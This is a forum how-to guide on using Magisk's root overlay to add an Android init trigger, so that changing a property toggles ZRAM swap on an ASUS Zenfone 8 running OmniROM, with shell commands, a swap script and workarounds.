To check if your additional .rc file is processed by Magisk add a statement like these to the custom .rc file in the overlay directory:
Code:
on early-init
setprop sys.example.foo bar
If this statement is processed by Magisk and Android the property sys.example.foo should be defined after the reboot, e.g.:
Code:
[email protected]_I006D:/ # getprop sys.example.foo
bar
[email protected]_I006D:/ #
To check if the "on shutdown" trigger is processed use :
Code:
on shutdown
write /sdcard/Download/myshutdown.log Shutdown_started\n
and reboot with disabled SELinux:
Code:
setenforce 0
reboot
If the "on shutdown" trigger in your .rc file is processed there should exist the file
/sdcard/Download/myshutdown.log
after the reboot
If the shutdown of the phone hangs open another adb session to the phone and kill the script (the adb daemon should still run while the shutdown script is running).
If the phone does not boot anymore with the new shutdown script reboot the phone from the TWRP image and fix / delete the new shutdown script. Or reflash the boot partition with the image file created before starting the development.
In general you should carefully check your .rc file for syntax errors -- entries in the file after the first syntax error will be ignored
Useful URLs
I used ideas and code from the web pages listed below for this HowTo:
How to run an executable on boot and keep it running?
How to run an Android init service with superuser SELinux context?
Magisk overlay - execute a script or copy files
History
03.10.2022 /bs
added code about to extract a single file (plat_file_contexts) from the ramdisk cpio image using magiskboot

How To Guide How to trigger an action when a property is changed

How to trigger an action when a property is changed
In Android it's possible to trigger various actions by changing the value of a property.
This feature is quite handy and the implementation using Magisk is not really difficult.
As an example:
In the original Android from ASUS for the Zenfone 8 you can disable and enable the swap on a ZRAM device by changing the value for the property vendor.zram.enable:
e.g.:
To turn the swap on use
Code:
setprop vendor.zram.enable 1
and to turn the swap off use
Code:
setprop vendor.zram.enable 0
To get the current value use
Code:
getprop vendor.zram.enable
or
check the output of the OS command free.
(see How to disable or change the swap device in the Android 12 from ASUS for the Zenfone 8 for details)
This feature is not implemented in the OmniROM for the ASUS Zenfone 8 but quite useful so let's see how to implement it in the OmniROM.
The Triggers and Action for this Android feature are configured in the init.rc files in the root filesystem for the OS (see https://android.googlesource.com/platform/system/core/+/master/init/README.md for details). The root filesystem for Android is read-only mounted so without creating your own Android OS image for the phone it's not possible to add the functionality to the OS.
But we can use the Root Directory Overlay System from Magisk (see https://github.com/topjohnwu/Magisk/blob/master/docs/guides.md for the documentation) to implement it.
The detailed process for creating additional *.rc files for Android via Magisk is described here:
How to run a script at shutdown
Therefore I will not go into the details here. But please read that post before you continue
First we check how this feature is implemented in the Original Android for the Zenfone:
Enabling and disabling the swap device on ZRAM is configured in the .rc file
/vendor/etc/hw/init.asus.debugtool.rc
using these settings in the original Android OS for the Zenfone 8:
Code:
service asus_zram /system/vendor/bin/sh /vendor/bin/init.asus.zram.sh
user root
group root
disabled
seclabel u:r:vendor_qti_init_shell:s0
oneshot
on property:persist.vendor.zram.enable=1
setprop vendor.zram.enable "1"
setprop vendor.zram.disksize ${persist.vendor.zram.disksize}
on property:persist.vendor.zram.enable=0
setprop vendor.zram.enable "0"
setprop vendor.zram.disksize ${persist.vendor.zram.disksize}
on property:vendor.zram.enable=*
start asus_zram
The script used to enable or disable the swap device on ZRAM in the original Android for the Zenfone 8 is:
/vendor/bin/init.asus.zram.sh
The script is quite simple (see also below):
It uses two properties to configure the swap device:
vendor.zram.enable : if this property is set to 1 the script enables the swap device and if the property is set to 0 it disables the swap device
vendor.zram.disksize : the value of this property is the size of the ramdisk.
Now we can implement this feature for the OmniROM:
Note:
All commands must be done as user root in a shell on the phone or in an adb shell
First we check the prerequisites for the feature:
The used shell for the service exists in the OmniROM:
Code:
[email protected]_I006D:/data/adb/workdir # ls -Zl /vendor/bin/sh
-rwxr-xr-x 1 root shell u:object_r:vendor_shell_exec:s0 318216 2009-01-01 01:00 /vendor/bin/sh
[email protected]_I006D:/data/adb/workdir #
The script to toggle the ramdisk on the swap device also already exists in the OmniROM:
Code:
[email protected]_I006D:/data/adb/test # ls -l /vendor/bin/init.asus.zram.sh
-rwxr-xr-x 1 root shell 1127 2009-01-01 01:00 /vendor/bin/init.asus.zram.sh
[email protected]_I006D:/data/adb/test #
And the necessary SELinux contexts are also already defined in the OmniROM.
So, let's start:
Code:
# create a temporary directory
#
mkdir /data/adb/workdir
cd /data/adb/workdir
# create the additional .rc file
#
cat >init.asus.zram.rc <<-\EOT
#
# Note:
#
# The service definition for an OS without the script init.asus.zram.sh should be
#
# service asus_zram /system/bin/sh /system/sbin/init.asus.zram.sh
#
service asus_zram /system/vendor/bin/sh /vendor/bin/init.asus.zram.sh
user root
group root
disabled
seclabel u:r:vendor_qti_init_shell:s0
oneshot
#
# these properties can be used to define the initial state of the ramdisk on ZRAM
#
on property:persist.vendor.zram.enable=1
setprop vendor.zram.enable "1"
setprop vendor.zram.disksize ${persist.vendor.zram.disksize}
on property:persist.vendor.zram.enable=0
setprop vendor.zram.enable "0"
setprop vendor.zram.disksize ${persist.vendor.zram.disksize}
on property:vendor.zram.enable=*
start asus_zram
# The property persist.vendor.zram.enable is not defined in the OmniROM. If necessary you can add another triger in the .rc file,
# e.g to enable the swap device by default use
#
on early-init
setprop persist.vendor.zram.enable 1
EOT
# get the current active slot
#
CURRENT_SLOT=$( getprop ro.boot.slot_suffix )
echo "The current active slot is: ${CURRENT_SLOT}"
# copy the boot partition from the active slot to a file
dd if=/dev/block/by-name/boot${CURRENT_SLOT} of=./boot_root.img
# unpack the image file
/data/adb/magisk/magiskboot unpack ./boot_root.img
# add the new dir and file to the ramdisk from the boot partition
/data/adb/magisk/magiskboot cpio ramdisk.cpio \
"mkdir 0700 overlay.d" \
"add 0700 overlay.d/init.custom.rc init.asus.zram.rc"
# recreate the image file for the boot partition
/data/adb/magisk/magiskboot repack boot_root.img
# write the corrected image file to the boot partition
dd if=./new-boot.img of=/dev/block/by-name/boot${CURRENT_SLOT}
That's it.
After the next reboot switching the ramdisk on the ZRAM device via an property should be active:
Code:
[email protected]_I006D:/ # reboot
# .....
# start a new adb session
# ....
[email protected]_I006D:/ $ getprop ro.omni.version
12-20220703-zenfone8-MICROG
#
# Note: The property is only visible to the user root
#
[email protected]_I006D:/ $ su -
[email protected]_I006D:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
[email protected]_I006D:/ #
[email protected]_I006D:/ # free
total used free shared buffers
Mem: 7612493824 4835229696 2777264128 14585856 14487552
-/+ buffers/cache: 4820742144 2791751680
Swap: 4294963200 0 4294963200
[email protected]_I006D:/ #
[email protected]_I006D:/ # getprop vendor.zram.enable
1
[email protected]_I006D:/ #
# -> now disable the swap on ZRAM
[email protected]_I006D:/ # setprop vendor.zram.enable 0
[email protected]_I006D:/ #
[email protected]_I006D:/ # getprop vendor.zram.enable
0
[email protected]_I006D:/ #
[email protected]_I006D:/ # free
total used free shared buffers
Mem: 7612493824 4840824832 2771668992 14524416 14483456
-/+ buffers/cache: 4826341376 2786152448
Swap: 0 0 0
[email protected]_I006D:/ #
# -> now enable the swap on ZRAM again
[email protected]_I006D:/ # setprop vendor.zram.enable 1
[email protected]_I006D:/ #
[email protected]_I006D:/ # getprop vendor.zram.enable
1
[email protected]_I006D:/ #
[email protected]_I006D:/ # free
total used free shared buffers
Mem: 7612493824 4844777472 2767716352 14524416 14512128
-/+ buffers/cache: 4830265344 2782228480
Swap: 4294963200 0 4294963200
[email protected]_I006D:/ #
Workarounds for other configuration
Find below some workarounds for OS versions without the prerequisites for implementing this feature.
1. The script to toggle the swap /vendor/bin/init.asus.zram.sh does not exist
If the script /vendor/bin/init.asus.zram.sh does not exist in your OS create a Magisk Module for the script
To create a (dummy) Magisk Module for the script do:
Code:
mkdir -p /data/adb/modules/toggle_ram/system/bin
#
# create the script to toggle the ramdisk on ZRAM
#
cat >/data/adb/modules/toggle_ram/system/bin/init.asus.zram.sh <<-\EOT
lahaina_set=`getprop vendor.asus.zram_setting`
if test "$lahaina_set" != "1"; then
echo "[asus_zram] init.kernel.post_boot-lahaina.sh not finished yet!"> /dev/kmsg
exit 0
fi
disksize=`getprop vendor.zram.disksize`
zram_enable=`getprop vendor.zram.enable`
MemTotalStr=`cat /proc/meminfo | grep MemTotal`
MemTotal=${MemTotalStr:16:8}
let RamSizeGB="( $MemTotal / 1048576 ) + 1"
if test "$disksize" = ""; then
disksize="4096M"
fi
echo "[asus_zram]RamSizeGB=${RamSizeGB}" > /dev/kmsg
if test "$zram_enable" = "1"; then
if [ $RamSizeGB -le 7 ]; then #this is for 6G; or the value will be 4G(8G,12G,16G,18G,etc)
disksize="( $RamSizeGB * 1024 ) / 2""M"
fi
swapoff /dev/block/zram0 2>/dev/kmsg
echo 1 > sys/block/zram0/reset 2>/dev/kmsg
sleep 1
echo lz4 > /sys/block/zram0/comp_algorithm
echo $disksize > /sys/block/zram0/disksize 2>/dev/kmsg
mkswap /dev/block/zram0 2>/dev/kmsg
swapon /dev/block/zram0 -p 32758 2>/dev/kmsg
echo "[asus_zram]write zram disksize=${disksize}" > /dev/kmsg
fi
if test "$zram_enable" = "0"; then
swapoff /dev/block/zram0 2>/dev/kmsg
echo "[asus_zram]turn off the zram" > /dev/kmsg
fi
EOT
chmod 755 /data/adb/modules/toggle_ram/system/bin/init.asus.zram.sh
chown root:shell /data/adb/modules/toggle_ram/system/bin/init.asus.zram.sh
chcon u:object_r:vendor_file:s0 /data/adb/modules/toggle_ram/system/bin/init.asus.zram.sh
Check the result:
Code:
[email protected]_I006D:/ # ls -lZ /data/adb/modules/toggle_ram/system/bin/init.asus.zram.sh
-rwxr-xr-x 1 root shell u:object_r:vendor_file:s0 1109 2022-10-03 21:14 /data/adb/modules/toggle_ram/system/bin/init.asus.zram.sh
[email protected]_I006D:/ #
Then change the script to execute in the service definition in the .rc file to /system/bin/init.asus.zram.sh:
Code:
service asus_zram /system/vendor/bin/sh /system/bin/init.asus.zram.sh
The rest of the instructions can be be used without changes.
2. The binary /system/vendor/bin/sh does not exist
If the shell /system/vendor/bin/sh does not exist in the OS create an Magisk Module with an approbiate shell:
Note:
The shell /system/bin/sh can not be used because it's configured with another SELinux context:
Code:
[email protected]_I006D:/ # ls -lZ /system/vendor/bin/sh
-rwxr-xr-x 1 root shell u:object_r:vendor_shell_exec:s0 318216 2009-01-01 01:00 /system/vendor/bin/sh
[email protected]_I006D:/ #
# but
[email protected]_I006D:/data/adb/workdir # ls -Zl /system/bin/sh
-rwxr-xr-x 1 root shell u:object_r:shell_exec:s0 307768 2009-01-01 01:00 /system/bin/sh
[email protected]_I006D:/data/adb/workdir #
To create a (dummy) Magisk Module for the necessary shell do:
Code:
mkdir -p /data/adb/modules/vendorshell/system/bin
cp /system/bin/sh /data/adb/modules/vendorshell/system/bin/sh
chcon u:object_r:vendor_shell_exec:s0 /data/adb/modules/vendorshell/system/bin/vendor_sh
Check the result:
Code:
[email protected]_I006D:/data/adb/workdir # ls -lZ /data/adb/modules/vendorshell/system/bin/vendor_sh
-rwxr-xr-x 1 root root u:object_r:vendor_shell_exec:s0 307768 2022-10-03 20:41 /data/adb/modules/vendorshell/system/bin/vendor_sh
[email protected]_I006D:/data/adb/workdir #
Now change the shell in the service definition in the .rc file to /system/bin/vendor_sh:
Code:
service asus_zram /system/bin/vendor_sh /vendor/bin/init.asus.zram.sh
The rest of the instructions can be be used without changes.
3. The necessary shell /system/vendor/bin/sh and the script /vendor/bin/init.asus.zram.sh do both not exist
If the necessary shell /system/vendor/bin/sh and the script /vendor/bin/init.asus.zram.sh do not exist you can also create one (dummy) Magisk module for both.
See
https://topjohnwu.github.io/Magisk/guides.html
and
Some hints for using Magisk on Android phones
for instructions and infos about how to create a real Magisk Module
4. Missing SELinux contexts
These instructions assume that all necessary SELinux contexts are already defined in the used OS.
If there are SELinux contexts missing it might not work without adding the missing SELinux contexts
(that might be difficult and I must admit that I did not test that)
5. only for the records:
The magiskboot command can also be used to add new files to the /sbin directory in the root filesystem.
This can be can be configured like this:
Code:
/data/adb/magisk/magiskboot cpio ramdisk.cpio \
"mkdir 0700 overlay.d" \
"add 0700 overlay.d/init.custom.rc init.asus.zram.rc" \
"mkdir 0700 overlay.d/sbin" \
"add 0700 overlay.d/sbin/my_new_script.sh my_script.sh"
This is useful for adding binaries or scripts for actions that should be executed while the other partitions are not yet mounted and therefor the files in these filesystems not yet available. But for the action defined in this post this is not necessary.
And be aware that the files added to the root filesystem ( /sbin/my_new_script.sh in this example) is only available while booting the phone.
6. Other problems
In case of problems please check the post
How to run a script at shutdown
again.
Also check the restrictions for this approach documented in that post
History
06.10.2022 /bs
corrected some typos

Categories

Resources